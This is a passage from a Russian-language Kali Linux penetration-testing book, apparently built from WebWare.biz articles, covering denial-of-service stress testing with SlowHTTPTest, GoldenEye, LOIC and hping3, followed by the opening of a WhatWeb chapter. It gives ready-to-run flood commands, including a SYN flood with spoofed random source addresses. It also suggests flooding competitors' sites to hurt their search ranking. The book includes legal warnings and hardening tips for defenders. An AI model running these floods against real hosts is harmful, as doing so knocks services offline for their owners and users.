Это может случиться если нет маршрута к удалённому хосту или пир лёг.

По материалам сайта WebWare.biz

184

Тестирование на проникновение с помощью Kali Linux 2.0


“Connection refused” удалённый сервер не принимает соединения (может быть
только от тебя? Попробуйте использовать прокси) на определённом порту



“Cancelled by user” вы нажали Ctrl-C или отправили SIGINT каким-либо другим
образом



“Unexpected error” не должно никогда случаться.

Примеры вывода реальных тестов SlowHTTPTest
Примеры уже даны чуть выше, давайте сделаем ещё один. Как и в предыдущие разы у
меня доступ к атакующей и атакуемой машинам, поэтому есть возможность выполнить
замеры на обоих. В этот раз посчитаем количество соединений.

Со стороны атакующего
Итак, я собрал статистику для атаки на http://192.168.1.37 с 1000 соединениями.
1|

slowhttptest -c 1000 -B -g -o my_body_stats -i 110 -r 200 -s 8192 -t FAKEVERB -u
http://192.168.1.37/info.php -x 10 -p 3

По материалам сайта WebWare.biz

185

Тестирование на проникновение с помощью Kali Linux 2.0

Со стороны сервера-жертвы
1|

root@WebWare-Debian:~# netstat | grep http | wc -l

2|

111

Показатели не получается снять во время проведения атаки, т. к. по SSH сервер также
перестаёт отвечать. Общее число http соединений подпрыгнуло до 111 в первые 10
секунд.
Этого более чем достаточно чтобы положить сервер (это могут быть большинство
маленьких серверов или VPS).

Рекомендации по тестированию DoS


DoS атака чужих серверов без разрешения, особенно успешная, является
преступлением, в том числе в РФ



При атаке на локалхост (особенно на маломощных и виртуальных машинах),
тормоза сервера могут быть связаны не с DoS атакой, а с тем, что сама
программа SlowHTTPTest заняла все ресурсы и сама по себе тормозит
компьютер.



Если при атаке на удалённый хост программа пишет вам, что он недоступен, а
при попытке открыть страницу веб-сайта в браузере действительно ничего не
открывается, то не спешите радоваться. Вполне возможно, сто сработала защита
от DoS атаки и ваш IP (временно) заблокирован. Для всех остальных сайт
прекрасно открывается. Можете убедиться в этом сами, используя любой
анонимайзер или прокси или подключившись через другого Интернетпровайдера.

Заключение
Это можно делать с Windows, Linux и даже с Mac. Если вы запустите несколько DoS
инструментов, таких как GoldenEye, hping3 на один веб-сервер, то тогда его будет очень
просто выбить. Общие советы по защите от DoS будут в следующей статье (да,
следующая статья опять про стресс-тест сети). А о правильной настройке сервера, в том
числе о модуле, защищающим именно от слоу-атак, будет рассказано в ближайшее
время.

Глава 30. Стресс-тест сети: DoS веб-сайта в Kali Linux с GoldenEye
На страницах WebWare.biz и в предыдущих главах уже говорилось об инструментах
DoS, которые могут сильно нагрузить серверы HTTP, чтобы парализовать их работу изза исчерпания пула ресурсов. GoldenEye — это ещё один, со своими особенностями,
который может положить сервер за 30 секунд, в зависимости от того, насколько велик
По материалам сайта WebWare.biz

186

Тестирование на проникновение с помощью Kali Linux 2.0

пул его памяти. Конечно, он не работает на защищённых серверах и серверах за
правильно настроенными WAF, IDS. Но это отличный инструмент для тестирования
вашего веб-сервера на повышенную нагрузку. А на основании полученных результатов
можно изменить правила iptables/файерволов для увеличения устойчивости и
сопротивляемости к негативным факторам.
Подробности об инструменте GoldenEye:


Название утилиты: GoldenEye



Автор: Jan Seidl



Веб-сайт: http://wroot.org/

Из поста автора GoldenEye:
1. Этот инструмент предназначен только для целей исследования и любое другое
вредоносное его использование запрещено.
2. GoldenEye — это приложение на питоне для ТОЛЬКО ЦЕЛЕЙ ТЕСТИРОВАНИЯ
БЕЗОПАСНОСТИ!
3. GoldenEye это инструмент тестирования HTTP DoS.
4. Эксплуатируемый вектор атаки: HTTP Keep Alive + NoCache

Типы DoS или DDoS атак
Давайте пройдёмся по самой базовой информации об атаках DoS или. DDoS. Обычно
выделяют три вида DoS и DDoS атак:
1. DoS и DDoS атаки уровня приложений
2. DoS и DDoS атаки уровня протокола
3. DoS и DDoS атаки насыщения полосы пропускания

DoS и DDoS атаки уровня приложений
DoS и DDoS атаки уровня приложений — это атаки, которые нацелены на Windows,
Apache, OpenBSD или другое программное обеспечение для выполнения атаки и краха
сервера.

DoS и DDoS атаки уровня протокола
DoS и DDoS атаки уровня протокола — это атаки на уровне протокола. Эта категория
включает Synflood, Ping of Death и другие.

DoS и DDoS атаки насыщения полосы пропускания
Этот тип атак включает ICMP-флуд, UDP-флуд и другие типы флуда, осуществляемые
через поддельные пакеты.
Слова DoS и DDoS близки по значению. Когда атака ведётся с одной машины, обычно
говорят о DoS атаке. При большом количестве атакующих из ботнета (или группы)
говорят о DDoS атаке. Об этих атаках доступно много информации, но не важна, какого
типа эта атака, т. к. они все одинаково вредны для сервера/сети.

По материалам сайта WebWare.biz

187

Тестирование на проникновение с помощью Kali Linux 2.0

Загрузка GoldenEye
Сторонние программы, установленные не из репозитория, я собираю в каталоге ~/opt.
Если у вас нет каталога для сторонних программ, то создайте его и перейдите туда:
1|

mkdir opt

2|

cd opt

Следующая большая команда создаст каталог, загрузит туда последнюю версию
GoldenEye, распакует архив и сразу запустит GoldenEye (покажет справку по
программе):
1|

mkdir GoldenEye && cd GoldenEye && wget
https://github.com/jseidl/GoldenEye/archive/master.zip && unzip master.zip && cd
GoldenEye-master/ && ./goldeneye.py

Если вам хочется всё сделать самому — постепенно, то продолжаем. Для начала
создаём каталог GoldenEye, переходим туда и скачиваем архив с программой:
1|

root@WebWare-Kali:~/opt# mkdir GoldenEye

2|

root@WebWare-Kali:~/opt# cd GoldenEye

3|

root@WebWare-Kali:~/opt/GoldenEye# wget
https://github.com/jseidl/GoldenEye/archive/master.zip

После скачивания распаковываем файл архива master.zip.
1|

unzip master.zip

По материалам сайта WebWare.biz

188

Тестирование на проникновение с помощью Kali Linux 2.0

Теперь у нас появился каталог GoldenEye-master, переходим туда и проверяем его
содержимое:
1|

ls

2|

cd GoldenEye-master/

3|

ls

Запуск GoldenEye – досим веб-сайт
Запуск очень прост, делается это так:
1|

./goldeneye.py

Программа показывает нам свою справку:

По материалам сайта WebWare.biz

189

Тестирование на проникновение с помощью Kali Linux 2.0

Необходимо осведомлять пользователей о расписании тестирования и возможных
перебоях в работе. Поскольку часто результатом симуляции атаки является остановка
работы.
Ну и все другие предупреждения: вы не должны тестировать (симулировать атаку)
других без их разрешения. Поскольку в случае причинения вреда, вы можете быть
привлечены к ответственности в соответствии с законодательством.
Данная информация размещена в образовательных целях. Для тестирования своих
серверов, для анализа качества их настройки и разработки мер противодействия
атакам.
Запуск слегка различается от используемой вами ОС:
1|

root@WebWare-Kali:~/opt/GoldenEye/GoldenEye-master# ./goldeneye.py
http://www.goldeneyetestsite.com/

(или)
1|

sudo ./goldeneye.py http://www.goldeneyetestsite.com/

(или)
1|

python goldeneye.py http://www.goldeneyetestsite.com/

В зависимости от того, где вы сохранили файлы, подредактируйте ваш путь и команду.

Далее тесты GoldenEye:
Следить за состоянием сервера я буду командой top:

Т.е. сервер находится в состоянии простоя, процесс полностью свободен, свободной
оперативной памяти доступно 350 мегабайт.

Атака
1|

./goldeneye.py http://192.168.1.37/info.php

По материалам сайта WebWare.biz

190

Тестирование на проникновение с помощью Kali Linux 2.0

Результат
Можно посмотреть по скриншоту, процессор по-прежнему практически бездействует,
но количество свободной памяти резко сократилось, увеличилось количество спящих
процессов.

Тем не менее, сервер не удалось полностью положить при атаке в один поток (хотя
вообще-то, такая задача и не ставилась).

Анализ атаки GoldenEye
Посмотрим лог сервера:
1|

cat /var/log/apache2/access.log | grep -E '192.168.1.55'

Я использую grep -E '192.168.1.55', чтобы отфильтровать подключения только с
машины, с которой велась атака.
Видим там примерно такое:
1|

192.168.1.55 - - [18/Jun/2015:17:06:51 +0700] "GET
/info.php?vySSDx=tG1rmfX4HbYXBm&CKVuvV=JLoK&nHc8x=0x5YKQtvHs0HWS68
HTTP/1.1" 200 69504 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_3_3)
AppleWebKit/535.6 (KHTML, like Gecko) Version/6.0.5 Safari/535.17"

По материалам сайта WebWare.biz

191

Тестирование на проникновение с помощью Kali Linux 2.0

2|

192.168.1.55 - - [18/Jun/2015:17:06:48 +0700] "GET
/info.php?dC1FyXpw=hB6Oh&rjcf74A=YVA&YUtUXuDo2s=2pLY7nlq&SjyqoF=wUIx8Aq&tXkr
fJRw=LsgED HTTP/1.1" 200 69504 "http://www.baidu.com/k1IkNXv" "Mozilla/5.0
(Macintosh; Intel Mac OS X 11_0_4) AppleWebKit/536.12 (KHTML, like Gecko)
Chrome/10.0.623.89 Safari/536.26"

3|

192.168.1.55 - - [18/Jun/2015:17:06:51 +0700] "GET
/info.php?0Nk7p=kSf&1eVF8PNy=UpDtxpDmJE2Fbx6&lPS=53T0AUI6Xu&5EbHY=scv1yBq8O
6Y&JJthAkQqqk=HUEQBD5ONbAMxVlWHxai HTTP/1.1" 200 69504 "-" "Mozilla/5.0
(Windows NT 5.1; WOW64) Gecko/20021304 Firefox/12.0"

4|

192.168.1.55 - - [18/Jun/2015:17:06:51 +0700] "GET /info.php?SAQMIx5Pl=VWGEFj3q8N0
HTTP/1.1" 200 69504
"http://www.google.com/gCqMk2Q05?DxQe=67gW4HUd3iTKCu2qWSJ&ngWHMmS1=5Xyo
Gh6q2sVlyHBdK&bl185B=anwKamnu2xK&RpI=HA0wNexUytc&uOqLV=6TNbGepqbnr&uu2fj
tL63=u5lnA701na4cYYH0yN&TOY066XT=3WJQhmtXRyCo46HnbXY1" "Mozilla/5.0 (Linux
x86_64; X11) Gecko/20010905 Firefox/17.0"

5|

192.168.1.55 - - [18/Jun/2015:17:06:51 +0700] "GET
/info.php?jA5Kw=fwtSMfaPQ8XtCaK&Y0fBbDfSXd=8Jm5hqt&xPC=1qwBHvMDy7gl
HTTP/1.1" 200 69504 "-" "Mozilla/5.0 (Windows NT 5.1; WOW64) Gecko/20011709
Firefox/23.0"

6|

192.168.1.55 - - [18/Jun/2015:17:06:51 +0700] "GET
/info.php?t2U0aYjxm=q21n4BARB1&qxI1=cTw&XjGPpG=W3AAWvebbW HTTP/1.1" 200
69504 "http://www.baidu.com/bQnoS7ULAY" "Mozilla/5.0 (Windows NT.6.2; Win64; x64)
AppleWebKit/536.10 (KHTML, like Gecko) Chrome/18.0.1844.44 Safari/537.21"

7|

192.168.1.55 - - [18/Jun/2015:17:06:51 +0700] "GET
/info.php?nkIkop=6pivICjNb6&U3Y=dDlbGnW3feTEXCm&aH2JLMl=sGmkpeSLnTtXahs7agi&
8htjBss=DFuXcUiJ5G5Fu7c HTTP/1.1" 200 69504 "-" "Mozilla/5.0 (compatible; MSIE 10.0;
Macintosh; .NET CLR 3.0.8867; Intel Mac OS X 11_6_2)"

8|

192.168.1.55 - - [18/Jun/2015:17:06:48 +0700] "GET
/info.php?p6P23Hj=IcVgaSIUoVTanmFIDan&WWml82r3D=TCY8rta5YrwVsLJmrM HTTP/1.1"
200 69504
"http://www.baidu.com/fWaBwllK?aNP85MesWv=VhL6v32qtwyj&6CLwEBed=Eb73YTA24o
YXmLk2w&Uy3wv=4pvNH8y&Jvirs=RJ4hKfRa&HyIYt8gtP=CHjm8OJaOP2djoQS&rm7bH=rukJ
4726B14D3XOxDwJ6&QBkOD3=33qpPxVM3ih76MaSgnT&s7gO=3WrX3Vd&Vsh=A13d"
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_4_1) AppleWebKit/536.10 (KHTML, like Gecko)
Chrome/15.0.1172.45 Safari/535.15"

9|

192.168.1.55 - - [18/Jun/2015:17:06:51 +0700] "GET
/info.php?so64O=2GhoHQaFy&DSmxwEWk=tYxV&y1C7mM=kQbuxco5oJfLPocGLl&kbItk4Rl
j=LjVhrLgelmtLYDuldfF HTTP/1.1" 200 69504
"http://192.168.1.37/uxNqvi6EnN?cAyrBjvKc=OsSGuqs&rrlLD=2bKFfSyTf" "Mozilla/5.0
(Windows; U; MSIE 10.0; Windows NT 5.1; .NET CLR 2.2.16303; Win64; x64)"

10|

192.168.1.55 - - [18/Jun/2015:17:06:51 +0700] "GET
/info.php?EXRbe03wp=fEBV5exjikcr8oNbEkmN&vpg8wYXv=DMGpYP1RMBUglSjbv4g&55prJ
=fY78WvDU3vW7GaoW4etN&JWEFmlYFU=yFyBEk7 HTTP/1.1" 200 69504 "-" "Mozilla/5.0
(Windows; U; MSIE 8.0; Linux x86_64; .NET CLR 1.0.1395; X11)"

11|

192.168.1.55 - - [18/Jun/2015:17:06:51 +0700] "GET
/info.php?7xIRdP0=8mjyacN&kEd2MwYtJ=bWhJvAH3A1H&xWe7vp6nH=faGl3PGJ4xAf&dSn
j5CW=wOBRfkLbMrEWdmMFvov&xWPL3sYb=WN0yYPXu HTTP/1.1" 200 69504 "-"
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_5_0) Gecko/20062612 Firefox/18.0"

По материалам сайта WebWare.biz

192

Тестирование на проникновение с помощью Kali Linux 2.0

12|

192.168.1.55 - - [18/Jun/2015:17:06:51 +0700] "GET /info.php?lVn80y605=IDRbDmoiDyNBu
HTTP/1.1" 200 69504 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 11_0_4) Gecko/20052008
Firefox/18.0"

13|

192.168.1.55 - - [18/Jun/2015:17:06:52 +0700] "GET
/info.php?mAthtfI=c4QdAopYyQGAsJAl0XUH HTTP/1.1" 200 69504
"http://www.yandex.com/jbOJRnhpii?fW4YmYLq=6A6f8qyxLRk6" "Mozilla/5.0 (Linux i386;
X11) AppleWebKit/536.27 (KHTML, like Gecko) Version/4.1.4 Safari/537.21"

14|

192.168.1.55 - - [18/Jun/2015:17:06:51 +0700] "GET /info.php?1nwS7r=g6qpYcfOre
HTTP/1.1" 200 69504 "-" "Mozilla/5.0 (Linux i386; X11) Gecko/20053002 Firefox/15.0"

15|

192.168.1.55 - - [18/Jun/2015:17:06:51 +0700] "GET
/info.php?00iHfl2=CGhueehx3DqR32D&MnPMIcqiTN=HcIR&GFgFaO=IJL HTTP/1.1" 200
69504 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_3_3) AppleWebKit/535.29 (KHTML,
like Gecko) Chrome/19.0.1233.51 Safari/536.18"

16|

192.168.1.55 - - [18/Jun/2015:17:06:51 +0700] "GET /info.php?Ml1k=DFVW0F7 HTTP/1.1"
200 69504 "-" "Mozilla/5.0 (Linux i386; X11) AppleWebKit/537.1 (KHTML, like Gecko)
Chrome/8.0.1320.86 Safari/535.21"

17|

192.168.1.55 - - [18/Jun/2015:17:06:51 +0700] "GET
/info.php?khUn=xnRp0gXjlF&bl8TpeXEF5=28W&wPkB=cnOPTgwOpPGC&12cnFT6b=XNDSX
FPdtraDsR&0FqigAn62=Kl4Y7pj2e7lj0nGoGN HTTP/1.1" 200 69504 "-" "Mozilla/5.0
(Windows NT.6.2; Win64; x64) AppleWebKit/537.3 (KHTML, like Gecko) Version/5.1.2
Safari/536.32"

(Изображение можно увеличить, нажмите на него)
Одного взгляда на логи достаточно, что каждый запрос GET содержит различные
строки, различные пользовательские агенты и различных реферов, среди которых Bing,
Baidu, Yandex и другие рандомные поисковые системы.
Так что происходит, когда ваш веб-сервер встречается с этой атакой? Он анализирует
входящий трафик, проверяет запрашиваемые URL, адреса источников и поле Referrer и
пропускает их с кодом 200 OK. Почему? Потому что каждый браузер был различным.
По материалам сайта WebWare.biz

193

Тестирование на проникновение с помощью Kali Linux 2.0

Инструмент был создан остроумно так, чтобы любой сервер мог подумать, что это
различные пользователи, пытающие зайти с одного IP (может быть IP прокси или
большой организации?) с различными браузерами (Firefox, Chrome, MSIE, Safari и т. д.),
различными операционными системами (Mac, Linux, Windows и т.д.) и даже с
различными реферами. Да, возможно запрашиваемый URL был неправильным, но
нормальные веб-сервера всё равно пропустят его, перенаправят на страницу ошибки в
то время как соединение будет оставаться открытым (например, Apache worker/socket).
Стандартный веб-сервер обычно позволяет X число одновременных пользователей с
одного IP и с большим количеством соединений/используемых сокетов, этот тип атаке
приводит к тяжёлому давлению на сервер и последующие пользователи получают
ошибку (HTTP 503 или наподобии). Следовательно, атакующий с несколькими
рандомными proxy/VPN может быстро истощить ресурсы сервера. Он даже может
замедлить атаки на один IP для избежания начального выявления:
1|

root@kali:~/GoldenEye/GoldenEye-master# ./goldeneye.py
http://www.goldeneyetestsite.com/ -w 10 -s 10 -m random

Вышеприведённая команда использует:
-w = 10 одновременные рабочие
-s = 10 одновременных соединений
-m = рандом, смесь GET и POST
Совершенный DoS!

Интересное наблюдение по Google Analytics и GoldenEye
Я попробовал это в живую, чтобы просто посмотреть, как поведёт себя реальный вебсервер. Интересно, оказывается что Google Analytics воспринимает этот трафик как
реальный и добавляет данные от флуда в статистику (хотя он и идёт с одного IP, но
различные рефереры и браузеры убеждают Google в том, что это отдельные
пользователи). Можно придумать ещё пару способов эксплуатировать это:


Можно повышать свой рейтинг в Google, т. к. она будет воспринимать это как
легитимный трафик.



Если Google будет наказывать за это, то тогда можно зафлудить веб-сайты
конкурентов для понижения их ранжирования в Google.

Эта палка о двух концах.

Блокирование/защита от атаки GoldenEye
Следующие предложения хорошо сработают, когда вы используете Apache:
1. Понижение соединений на один IP (обычно их 300 на IP для Apache)
2. Редактирование порога соединений на IP
3. Отключить настройки KeepAlive и нижний Connection Timeout (по умолчанию это
300)
4. Если вы хоститесь на общем сервере, обратитесь к сисадминам. Если они не
могут защитить от этой простой атаки, то просто переезжайте к хостинг
компании получше.
5. Используйте Web application Firewall (WAF).
По материалам сайта WebWare.biz

194

Тестирование на проникновение с помощью Kali Linux 2.0

6. Использование белых листов для входящих запросов — и эта атака не окажет
эффекта на ваш сервер.
7. NGINX и Node.js вроде бы лучше справляются с атаками подобного рода.

Заключение
GoldenEye выглядит как расширенная (или схожая на) HTTP Flooder программа. Обе
работают похожим образом, но NoCache и KeepAlive от GoldenEye делают большую
разницу. Также она использует интересный способ перемешивания браузеров,
операционных систем и рефереров, что может обмануть файервол.
В общем, это хороший инструмент для тестирования на нагрузку своего собственного
веб-сайта (с разрешения вашей хостинг компании), вашего корпоративного веб-сайта и
любых веб-приложений, которые позволяют входящие GET или POST запросы.
Используйте её для обновления ваших правил файервола. WAF и благодаря
этому избежите будущих атак.

Глава 31. Стресс-тест сети с Low Orbit Ion Cannon (LOIC)
Что такое Low Orbit Ion Cannon (LOIC)
Low Orbit Ion Cannon (LOIC) — это инструмент стресс-теста сети, это значит, что он
создан для проверки, как много трафика цель может обработать. Чтобы основываясь
на этих данных сделать оценку запаса мощности ресурсов. Эта программа вдохновила
создание других подобных программ, у неё существует множество клонов, некоторые
из которых позволяют проводить стресс-тест прямо из браузера.
Эта программа с успехом использовалась группой Anonymous, для облегчения их DDoS
атак против нескольких веб-сайтов, в том числе некоторых очень известных
общественных организаций. Противники запрета этой программы указывают, что то,
что она делает, аналогично заходу на веб-сайт несколько тысяч раз; тем не менее,
некоторые американские правоохранительные группы расценивают использование
LOIC как нарушение компьютерной безопасности и мошенническое действие.

Установка Low Orbit Ion Cannon (LOIC) на Windows
Для пользователей Windows всё совсем просто — зайдите на сайт и скачайте архив.
Распакуйте из архива один единственный файл и запустите его. Всё готово!

По материалам сайта WebWare.biz

195

Тестирование на проникновение с помощью Kali Linux 2.0

Установка Low Orbit Ion Cannon (LOIC) на Linux
Установить LOIC можно на любой Linux, ниже, в качестве примера, выбрана установка
на Kali Linux.
Для установки LOIC откройте окно терминала и наберите там:
1|

apt-get update

2|

aptitude install git-core monodevelop

3|

apt-get install mono-gmcs

Если вы, как и я, устанавливаете на Kali Linux, то следующий шаг пропускаете. Если же у
вас Ubuntu, Linux Mint (возможно нужно и для Debian), то выполните следующую
команду:
1|

sudo apt-get install mono-complete

Когда всё завершилось, идём в каталог рабочего стола, используя:
1|

cd ./Desktop

И создаём там папку с названием loic, используя следующую команду:
1|

mkdir loic

По материалам сайта WebWare.biz

196

Тестирование на проникновение с помощью Kali Linux 2.0

Переходим туда, используя:
1|

cd ./loic

И печатаем там следующую команду:
1|

wget https://raw.github.com/nicolargo/loicinstaller/master/loic.sh

Далее дадим разрешения файлу скрипта на исполнение:
1|

chmod 777 loic.sh

Ну и последним шагом запустим скрипт следующей командой:
1|

./loic.sh install

Если вы не видите от скрипта каких-либо сообщений об ошибках, значит вы уже готовы
обновить loic. Чтобы сделать это, выполните следующую команду:
1|

./loic.sh update

Ну и совсем уже последнее, запускаем LOIC. Вы можете это сделать следующей
командой:
1|

./loic.sh run

По материалам сайта WebWare.biz

197

Тестирование на проникновение с помощью Kali Linux 2.0

Кстати, помните, что на Windows мы быстрее получили программу (просто скачали
файл)? А зато на Linux версия программы новее!

Стресс-тест сети с Low Orbit Ion Cannon (LOIC)
Использование LOIC простое как пробка. Вы можете выбрать ручной или IRC режим.
Для следующего примера мы выберем ручной режим. Введите URL или IP адрес. Мы
введём адрес сайта. Нажмите Lock on. Нужно выбрать метод атаки: TCP, UDP или HTTP.
Мы выберем HTTP. Остальные настройки можно не менять. Когда всё готово, запустите
По материалам сайта WebWare.biz

198

Тестирование на проникновение с помощью Kali Linux 2.0

атаку кнопкой IMMA CHARGIN MAH LAZER. LOIC покажет процесс атаки. Нажмите на
кнопку Stop Flooding для остановки атаки:

п.с. я изучил логи сервера, заметна значительная разница между версиями
для Windows и Linux. Надо думать, что там не только добавили свистоперделки вроде
IRC режима, но и изменили алгоритмы самих атак. Также интересна новая опция по
подстановки случайных значений в качестве поддерикторий.

Глава 32. Стресс-тест сети: DoS с использованием hping3 и
спуфингом IP в Kali Linux
В компьютерной терминологии атака отказ-в-обслуживании (DoS) или атака
распределённый отказ-в-обслуживании (DDoS) — это попытка сделать ресурсы
машины или сети недоступными для пользователей. Хотя средства, мотивы и цели DoS
различаются, главная её суть остаётся прежней — на время или на неопределённый
срок прервать или приостановить услугу хоста, соединённого с Интернетом. В этой
статье я покажу, как выполнить атаку DoS атаку с использованием hping3 и спуфингом
IP в Kali Linux.
Как известно, DDoS — это атака, осуществляемая двумя или более лицами, или ботами,
а DoS атака делается одним лицом или системой. На 2014 год, частота распознанных
DDoS атак достигла в среднем 28 за каждый час.
Обычной целью исполнителей DoS атак являются сайты и услуги напривлекающих
внимания серверах, вроде банковских, платёжные шлюзы кредитных карт и даже
корневые сервера имён. Угроза отказа-в-обслуживании также распространены в
бизнесе в отношении веб-сайтов.
Эта техника теперь широко применяется в определённых играх, используемая
владельцами серверов или недовольными конкурентами в таких играх как популярные
сервера Minecraft. Возрастает применение DoS как формы «Уличных Интернет
Протестов». Этот термин обычно применяется к компьютерным сетям, но не
ограничивается этим; например, он также относится к управлению ресурсами CPU.
Понятно, что тема эта актуальная. Поэтому важно подготовится к атакам подобного
рода. Провести стресс-тесты своих сетей и серверов. Если они проседают под натиском
По материалам сайта WebWare.biz

199

Тестирование на проникновение с помощью Kali Linux 2.0

DoS, то обратитесь к инструкциям по настройке mod_evasive и mod-qos. А данная статья
и другие по стресс-тесту сети помогут вам протестировать работоспособность этих
модулей на ваших серверах.
Один из общих методов атаки — это насыщение целевой машины внешними
запросами связи, в связи с чем она не может ответить на легитимный трафик или
отвечает так медленно, что является по существу недоступной. Такие атаки обычно
ведут к перегрузке сервера. Обобщённо говоря, в результате DoS атаки оказываются
занятыми те или иные ресурсы сервера и он больше не может выполнять деятельность,
для которой он предназначен, либо происходит воспрепятствование связи между
пользователями и жертвой таким образом, что они больше не могут адекватно
обмениваться информацией.
DoS атаки незаконны. Их организаторы и рядовые исполнители преследуются по
законам многих стран. Стресс-тест собственной сети не является противозаконным.
Стресс-тест чужих сетей/серверов при получении их согласия также разрешён, но
необходимо учитывать интересы третьих лиц. Этими третьими лицами могут быть
владельцы хостинга (если вы тестируете чужой сайт, виртуальный сервер, находящиеся
на хостинге), интернет-провайдеры (поскольку значительный поток трафика может
создавать нагрузку на их коммуникации) и т. д. Крайне желательно согласовывать
стресс-тесты и с этими третьими лицами во избежание всех возможных проблем.
Иначе, невольно, вы станете причинителем вреда тем, на кого стресс-тест не был
нацелен.
hping3 хорошо отрабатывает если у вас ещё есть другие запущенные DoS инструменты
вроде GoldenEye (использование нескольких инструментов, которые атакую один и тот
же сайт/сервер/услугу, увеличивает шансы на успех). Знаете ли вы, что есть агентства и
корпорации, которые практически в реальном времени отслеживают DDoS атаки по
всему миру и отображают карту DoS в реальном времени:


http://www.digitalattackmap.com/



http://map.norsecorp.com/



http://map.ipviking.com/

Сегодня мы будем использовать для нашей атаки отказа-в-обслуживании — DoS —
hping3
В этой инструкции будет продемонстрировано, как досить используя hping3 со
случайными IP источника на Kali Linux.
Перед тем, как мы начнём использовать hping3, давайте пройдёмся по основам.

Что такое hping3
hping3 это бесплатный генератор пакетов и анализатор для TCP/IP протокола. Hping, де
факто, один из обязательных инструментов для аудита безопасности и тестирования
файерволов и сетей, он использовался для выполнения эксплойта техники
сканирования Idle Scan, которая сейчас реализована в сканере портов Nmap. Новая
версия hping — hping3 — написана на скриптах с использованием языка Tcl. В
ней реализует сядвижок для удобного описания строками TCP/IP пакетов,
следовательно, программист может за очень короткое время написать скрипт,
относящийся к низкоуровневой манипуляции пакетами TCP/IP и анализировать их.

По материалам сайта WebWare.biz

200

Тестирование на проникновение с помощью Kali Linux 2.0

Как и большинство инструментов, использующихся в компьютерной безопасности,
hping3 полезен для экспертов по безопасности, но существует множество приложений,
связанных с тестированием сети и системным администрированием.
hping3 следует использовать для…


Traceroute/ping/probe
(трассировки/пинга/зондирования)
хостов
за
файерволом, которые блокируют попытки использовать стандартные утилиты.



Выполнения сканирования простоя (в настоящее время реализуется в nmap с
лёгким пользовательским интерфейсом).



Тестирование правил файервола.



Тестирование IDS (систем обнаружения вторжения).



Эксплуатации известных зависимостей в стеках TCP/IP.



Сетевых исследованиях



Изучении TCP/IP (hping была использована в сетевых курсах AFAIK).



Написании реальных приложений, связанных с TCP/IP тестированием и
безопасностью.



При автоматизированных тестах по фильтрации трафика.



Создания рабочей модели эксплойтов.



Исследований в свере сетей и безопасности, когда нужно эмулировать
комплексное TCP/IP поведение.



Прототипах систем обнаружения вторжения (IDS)



Простых в использовании утилитах с интерфейсом Tk.

hping3 уже установлен в Kali Linux как и многие другие инструменты. Он крайне
полезен и уже скоро я продемонстрирую его работу.

DoS с использованием hping3 и случайным IP источника
Ну хватит уже ходить вокруг да около, переходим к атаке. Запускается всё одной
простой командой:
1|

root@WebWare-Kali:~# hping3 -c 10000 -d 120 -S -w 64 -p 21 --flood --rand-source
192.168.1.37

2|

HPING 192.168.1.37 (eth0 192.168.1.37): S set, 40 headers + 120 data bytes

3|

hping in flood mode, no replies will be shown

4|

^C

5|

--- 192.168.1.37 hping statistic ---

6|

3258138 packets transmitted, 0 packets received, 100% packet loss

7|

round-trip min/avg/max = 0.0/0.0/0.0 ms

8|

root@WebWare-Kali:~#

Давайте разберёмся в синтаксисе используемой команды:
hping3 = Имя бинарника приложения.
-c 100000 = Количество пакетов для отправки.
По материалам сайта WebWare.biz

201

Тестирование на проникновение с помощью Kali Linux 2.0

-d 120 = Размер каждого пакета, который будет отправлен на целевую машину.
-S = Я отправляю только пакеты SYN.
-w 64 = Размер окна TCP.
-p 21 = Порт назначения (используется 21 порт FTP). Вы можете использовать здесь
любой порт.
—flood = Отправка пакетов так быстро, как возможно, не заботясь об отображении
входящих пакетов. Решим флуда.
—rand-source = Использование рандомных IP адресов источника. Вы также можете
использовать -a или –spoof чтобы спрятать имя хоста. Подробности по man hping3
192.168.1.37 = Целевой IP адрес или IP адрес целевой машины. Также вы можете
использовать здесь сайт. В моём случае, тестирование происходит в лабораторных
условиях, в пределах локальной сети.
Так как узнать, работает ли это? В режиме флуда hping3 не проверяет полученные
ответы (в любом случае мы не могли бы это сделать, поскольку мы использовали флаг
–rand-souce, означающий, что IP адрес источника больше не ваш).
Посмотрим на ситуацию со стороны сервера. Я буду использовать команду top. Так
выглядит ситуацию на сервере в режиме простоя:

Использование процессора в районе нуля, много свободной оперативной памяти.
Так сервер себя чувствует после начала атаки:

По материалам сайта WebWare.biz

202

Тестирование на проникновение с помощью Kali Linux 2.0

Эта атака не оказала влияния на оперативную памяти, но полностью поглотила ресурсы
процессора.
Чтобы понять, что это за si, обратимся к Википедии:
us — (User CPU time) время, затраченное на работу программ пользователей
sy — (System CPU time) время, затраченное на работу процессов ядра
ni — (Nice CPU time) время, затраченное на работу программ с измененным
приоритетом
id — простой процессора
wa — (iowait) время, затраченное на завершение ввода-вывода
hi — (Hardware IRQ) время, затраченное на обработку hardware-прерываний
si — (Software Interrupts) время, затраченное на работу обработку software-прерываний
(network)
st — (Steal Time) время, «украденное» гипервизором у этой виртуальной машины для
других задач (например работа другой виртуальной машины)
Т.е. si — (Software Interrupts) время, затраченное на работу обработку softwareпрерываний (network). Вполне логично.

Заключение
Любые новые и современные файерволы будут блокировать это, и в наши дни
большинство ядер Linux построены с защитой от SYN флуда. Эта инструкция
предназначена для целей исследования и обучения. Для тех, у кого проблемы с TCP
SYN или TCP Connect флудом, попробуйте изучить IPTables и способы настройки для
блокировки DoS-атак, использующих hping3 или любые другие инструменты. Вы также
можете осуществлять DoS-атаку с использованием GoldenEye и другие инструменты
для стресс-теста сети.

Часть 5. Анализ уязвимостей в веб-приложениях
Глава 33. Инструкция по WhatWeb: как узнать движок сайта в
Kali Linux
Как с помощью WhatWeb узнать версию движка сайта
Информация о движке и его версии очень важна при тестировании веб-приложений на
проникновение. В первую очередь, эта информация будет использована для поиска
эксплойтов и известных уязвимостей именно для этого движка этой версии. Это на
порядок облегчает взломщику задачу. Именно поэтому многие популярные движки
перестали публиковать свою версию рядом с надписью Powered by. Тем не менее,
скрыть используемый движок и его версию очень непросто. Есть сканеры, которые
делают это автоматически и в пакетном режиме.
Чтобы узнать движок сайта и его версию используется программа WhatWeb.
Например, есть некий форум, на нём даже нет надписи Powered by (скорее всего, это
запрещено лицензией, но некоторые веб-мастера готовы идти и на нарушение
По материалам сайта WebWare.biz

203

Тестирование на проникновение с помощью Kali Linux 2.0

